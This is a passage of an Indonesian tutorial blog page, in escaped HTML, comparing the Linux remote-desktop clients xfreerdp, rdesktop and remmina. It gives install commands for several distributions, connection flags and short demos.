&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Install&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/bookworm/freerdp2-x11&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install freerdp2-x11&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/freerdp2/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S freerdp2&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/xfreerdp&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;OpenSuse&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in xfreerdp&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs/freerdp/freerdp/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install freerdp&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cloudbase.it/freerdp-for-windows-nightly-builds/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How to Use&lt;a href=&quot;#how-to-use&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Perintah dasar untuk menggunakan xfreerdp:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfreerdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/v:{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/u:{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/p:{password}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;untuk mengakses domain tertentu, tinggal ditambahkan &lt;code&gt;/d:&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfreerdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/v:{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/u:{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/p:{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/d:{domain}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;kalau ingin meng-&lt;em&gt;ignore certificate&lt;/em&gt; juga bisa dengan menambahkan flag &lt;code&gt;/cert-ignore:&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfreerdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/v:{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/u:{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/p:{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/cert-ignore&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;khusus ke windows (di tutorial ini saya hanya mencoba ke windows 7 saja), kita perlu menambahkan flag &lt;code&gt;/tls-seclevel:0&lt;/code&gt; karena jika tidak diset, maka tidak bisa terhubung karena secara default xfreerdp men-setting &lt;code&gt;tls-seclevel&lt;/code&gt;-nya ke 1.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfreerdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/v:{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/u:{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/p:{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/tls-seclevel:0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Nah, kalau mau mengaktifkan fitur &lt;em&gt;dynamic resolution&lt;/em&gt;-nya, kita bisa menambahkan &lt;code&gt;/dynamic-resolution&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfreerdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/v:{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/u:{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/p:{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dynamic-resolution&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan menambahkan flag tersebut, artinya nanti resolusi desktop yang kita remote bisa menyesuaikan dengan ukuran window atau jendela-nya. Untuk buktinya akan saya tunjukkan di bagian demo di bawah.&lt;/p&gt;&lt;p&gt;Untuk mengaktifkan fitur &lt;em&gt;sound&lt;/em&gt;-nya, kita bisa menambahkan &lt;code&gt;/sound&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfreerdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/v:{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/u:{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/p:{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/sound&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Mau tau lebih banyak apa saja yang bisa dilakukan xfreerdp untuk remote desktop? Tinggal baca-baca dokumentasi &lt;code&gt;help&lt;/code&gt;-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfreerdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Wayland&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Untuk menjalankan freerdp di wayland, gunakan perintah &lt;code&gt;wlfreerdp&lt;/code&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Demo&lt;a href=&quot;#demo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Linux to Linux&lt;a href=&quot;#linux-to-linux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita coba remote ke linux (Debian):
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif1.D6BSTFjF_Z1XxLzg.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Linux to Windows (Windows 7)&lt;a href=&quot;#linux-to-windows-windows-7&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, kita coba remote ke windows (Windows 7):
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif2.C6wUvsre_Zww7YL.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Dynamic Resolution&lt;a href=&quot;#dynamic-resolution&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita coba fitur &lt;em&gt;dynamic resolution&lt;/em&gt;-nya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif1-1.DkMaRmhX_Zwqnn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;2. rdesktop&lt;a href=&quot;#2-rdesktop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Rdesktop menurut saya adalah alternatif dari xfreerdp yang juga tidak boleh dianggap sepele karena sama-sama spesies rdp client yang berbasis cli.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[+]&lt;/strong&gt; Keunggulan dari rdesktop dibanding xfreerdp menurut saya adalah &lt;em&gt;command&lt;/em&gt;-nya yang relatif mudah diingat.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[-]&lt;/strong&gt; Tapi, kekurangannya (yang menurut saya fatal) jika dibandingkan dengan xfreerdp adalah rdesktop tidak mempunyai fitur “&lt;em&gt;&lt;strong&gt;dynamic resolution&lt;/strong&gt;&lt;/em&gt;” (koreksi jika saya salah ).&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Install&lt;a href=&quot;#install-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Instalasinya:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Install&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/bookworm/rdesktop&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install rdesktop&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/rdesktop/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S rdesktop&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/rdesktop&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;OpenSuse&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in rdesktop&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs/rdesktop/rdesktop/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install rdesktop&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How to Use&lt;a href=&quot;#how-to-use-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Perintah dasar untuk menggunakan rdesktop sesimpel:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rdesktop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{IP}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;untuk mengakses domain tertentu, tinggal ditambahkan &lt;code&gt;-d&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rdesktop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{domain}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;kalau ingin meng-&lt;em&gt;ignore certificate&lt;/em&gt; juga bisa dengan menambahkan flag &lt;code&gt;-0&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rdesktop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{username}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{password}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{IP}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-O&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Mau tau lebih banyak apa saja yang bisa dilakukan rdesktop untuk remote desktop? Tinggal baca-baca dokumentasi &lt;code&gt;help&lt;/code&gt;-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rdekstop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Demo&lt;a href=&quot;#demo-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Linux to Linux&lt;a href=&quot;#linux-to-linux-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita coba remote ke linux (Debian):
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif3.D0FQa6z2_22DqDM.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Linux to Windows (Windows 7)&lt;a href=&quot;#linux-to-windows-windows-7-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, kita coba remote ke windows (Windows 7):
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif4.CFCjfKca_Z2u764v.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;3. remmina&lt;a href=&quot;#3-remmina&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Nah, ini adalah tools yang &lt;em&gt;beginner-friendly&lt;/em&gt; karena interface-nya menggunakan gui. Jadi, bagi kalian yang tidak biasa menggunakan tools cli-based, remmina adalah jalan satu-satunya salah satu opsi. Meskipun demikian, remmina juga tetap bisa dijalankan via cli.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[+]&lt;/strong&gt; Tentu saja berbasis GUI adalah poin positif karena memudahkan kita yang malas (atau tidak terbiasa) menggunakan command line.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[+]&lt;/strong&gt; Remmina juga kaya akan fitur-fitur penting. Bahkan ada juga fitur yang saya sukai di remmina (seperti yang juga ada di xfreerdp), yaitu fitur &lt;em&gt;&lt;strong&gt;dynamic resolution&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[+]&lt;/strong&gt; Tapi, kehadiran remmina menggunakan GUI juga justru menjadi kekurangannya juga karena pasti software ini menjadi rakus &lt;em&gt;resource&lt;/em&gt; sehingga bisa saja menjadikan komputer kalian menjadi lemot (apalagi yang &lt;em&gt;resource&lt;/em&gt;-nya memang “seadanya”).&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Install&lt;a href=&quot;#install-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Instalasinya:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Install&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/bookworm/remmina&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install remmina&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/remmina/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S remmina&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/remmina&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;OpenSuse&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in remmina&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs/remmina/remmina/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install remmina&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How to Use&lt;a href=&quot;#how-to-use-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk menjalankan remmina, kita bisa mengetikkan &lt;code&gt;remmina&lt;/code&gt; di terminal atau mencari dan membukanya via app launcher.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;717&quot; height=&quot;491&quot; src=&quot;/_astro/ss1.DH-dxRvB_2jhlG8.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian, kita klik icon plus atau tanda tambah di pojok kiri atas.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;659&quot; src=&quot;/_astro/ss2.CLgoHYnm_Z15fzms.webp&quot; /&gt;
Kita hanya perlu memilih RDP, kemudian memasukkan &lt;em&gt;&lt;strong&gt;username&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;password&lt;/strong&gt;&lt;/em&gt; dan klik &lt;em&gt;&lt;strong&gt;Connect&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Atau jika kita ingin me-&lt;em&gt;launch&lt;/em&gt; remmina dari terminal via &lt;em&gt;command line&lt;/em&gt;, kita bisa menggunakan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;remmina&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rdp://{username}:{password}@{IP}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Yang perlu diketahui jika ingin melakukan remote desktop ke windows (dalam konteks ini Windows 7), jangan lupa mengganti &lt;strong&gt;TLS Security Level&lt;/strong&gt;-nya ke &lt;strong&gt;0&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;901&quot; height=&quot;667&quot; src=&quot;/_astro/ss3.ib80gT6P_Z1M2lg4.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Bagaimana cara mengaktifkan fitur &lt;em&gt;&lt;strong&gt;dynamic resolution&lt;/strong&gt;&lt;/em&gt;-nya? Kita bisa mengaturnya langsung dari window remmina yang sedang aktif dengan meng-klik icon di bagian sebelah kiri: &lt;em&gt;&lt;strong&gt;“Toogle dynamic resolution update”&lt;/strong&gt;&lt;/em&gt;. Kita akan lihat fiturnya di bagian demonstrasi di bawah.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;679&quot; src=&quot;/_astro/ss4.DORJwAMl_Zn58FM.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Mau tau lebih banyak apa saja yang bisa dilakukan rdesktop untuk remote desktop? Kalian bisa mengeksplorasi &lt;em&gt;software&lt;/em&gt; GUI remmina atau baca-baca dokumentasi &lt;code&gt;help&lt;/code&gt;-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;remmina&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Demo&lt;a href=&quot;#demo-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Linux to Linux&lt;a 